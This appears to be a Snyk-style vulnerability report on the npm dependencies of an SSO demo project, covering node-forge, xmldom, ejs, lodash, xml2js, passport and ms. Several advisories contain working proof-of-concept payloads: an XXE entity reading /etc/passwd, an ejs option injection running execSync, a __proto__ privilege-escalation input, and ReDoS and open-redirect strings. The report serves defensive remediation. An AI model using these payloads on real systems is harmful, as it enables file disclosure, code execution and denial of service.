Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1 v1.5
signature verification code which does not properly check DigestInfo
for a proper ASN.1
structure. This can lead to successful verification with signatures that contain invalid structures but a valid digest.
Remediation
Upgrade node-forge
to version 1.3.0 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSAs
PKCS#1` v1.5 signature verification code which is lenient in checking the digest algorithm structure. This can allow a crafted structure that steals padding bytes and uses unchecked portion of the PKCS#1 encoded message to forge a signature when a low public exponent is being used.
Remediation
Upgrade node-forge
to version 1.3.0 or higher.
References
medium severity
- Vulnerable module: xmldom
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-crypto@0.8.4 › xmldom@0.1.19
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmldom@0.1.31
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › xmldom@0.1.31
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Does not correctly preserve system identifiers, FPIs or namespaces when repeatedly parsing and serializing maliciously crafted documents.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe
, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd
and display it to the user rendered by username
.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade xmldom
to version 0.5.0 or higher.
References
medium severity
new
- Vulnerable module: ejs
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.
Note:
Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty
method.
Remediation
Upgrade ejs
to version 3.1.10 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber
, trim
and trimEnd
functions.
POC
var lo = require('lodash');
function build_blank (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000)
var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0)
var time1 = Date.now();
lo.toNumber(s)
var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1)
var time2 = Date.now();
lo.trimEnd(s)
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2)
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.21 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Open Redirect via parseUrl
function when it mishandles certain uses of backslash such as https:/\/\/\
and interprets the URI as a relative path.
PoC:
// poc.js
var forge = require("node-forge");
var url = forge.util.parseUrl("https:/\/\/\www.github.com/foo/bar");
console.log(url);
// Output of node poc.js:
{
full: 'https://',
scheme: 'https',
host: '',
port: 443,
path: '/www.github.com/foo/bar', <<<---- path should be "/foo/bar"
fullHost: ''
}
Remediation
Upgrade node-forge
to version 1.0.0 or higher.
References
medium severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge
is a native implementation of TLS (and various other cryptographic tools) in JavaScript.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks. This can cause an impact of about 10 seconds matching time for data 3K characters long.
Disclosure Timeline
- Feb 15th, 2018 - Initial Disclosure to package owner
- Feb 15th, 2018 - Initial Response by package owner
- Feb 15th, 2018 - GitHub issue opened
- Feb 26th, 2018 - Vulnerability published
- Mar 7thth, 2018 - Vulnerability fixed
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Update node-forge
to version 0.7.4 or higher.
References
medium severity
- Vulnerable module: xml2js
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml2js@0.4.23
Overview
Affected versions of this package are vulnerable to Prototype Pollution due to allowing an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__
property to be edited.
PoC
var parseString = require('xml2js').parseString;
let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";
const update_user = (userProp) => {
// A user cannot alter his role. This way we prevent privilege escalations.
parseString(userProp, function (err, user) {
if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
console.log("Unauthorized Action");
} else {
console.log(user?.role[0]);
}
});
}
update_user(normal_user_request);
update_user(malicious_user_request);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade xml2js
to version 0.5.0 or higher.
References
medium severity
- Vulnerable module: passport
- Introduced through: passport@0.3.2
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport@0.3.2Remediation: Upgrade to passport@0.6.0.
Overview
passport is a Simple, unobtrusive authentication for Node.js.
Affected versions of this package are vulnerable to Session Fixation. When a user logs in or logs out, the session is regenerated instead of being closed.
Remediation
Upgrade passport
to version 0.6.0 or higher.
References
medium severity
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It parses dates using regex strings, which may cause a slowdown of 2 seconds per 50k characters.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Arbitrary Code Injection via the render
and renderFile
. If external input is flowing into the options
parameter, an attacker is able run arbitrary code. This include the filename
, compileDebug
, and client
option.
POC
let ejs = require('ejs')
ejs.render('./views/test.ejs',{
filename:'/etc/passwd\nfinally { this.global.process.mainModule.require(\'child_process\').execSync(\'touch EJS_HACKED\') }',
compileDebug: true,
message: 'test',
client: true
})
Remediation
Upgrade ejs
to version 3.1.6 or higher.
References
low severity
- Vulnerable module: ms
- Introduced through: restify-jwt@0.4.0
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify-jwt@0.4.0 › jsonwebtoken@5.7.0 › ms@0.7.3Remediation: Open PR to patch ms@0.7.3.
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify-jwt@0.4.0 › jsonwebtoken@5.7.0 › ms@0.7.3Remediation: Open PR to patch ms@0.7.3.
Overview
ms
is a tiny millisecond conversion utility.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability npm:ms:20151024. The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to ms()
function.
Proof of concept
ms = require('ms');
ms('1'.repeat(9998) + 'Q') // Takes about ~0.3s
Note: Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author. Based on user feedback, we believe the risk of breakage is very low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.
For more information on Regular Expression Denial of Service (ReDoS)
attacks, go to our blog.
Disclosure Timeline
- Feb 9th, 2017 - Reported the issue to package owner.
- Feb 11th, 2017 - Issue acknowledged by package owner.
- April 12th, 2017 - Fix PR opened by Snyk Security Team.
- May 15th, 2017 - Vulnerability published.
- May 16th, 2017 - Issue fixed and version
2.0.0
released. - May 21th, 2017 - Patches released for versions
>=0.7.1, <=1.0.0
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ms
to version 2.0.0 or higher.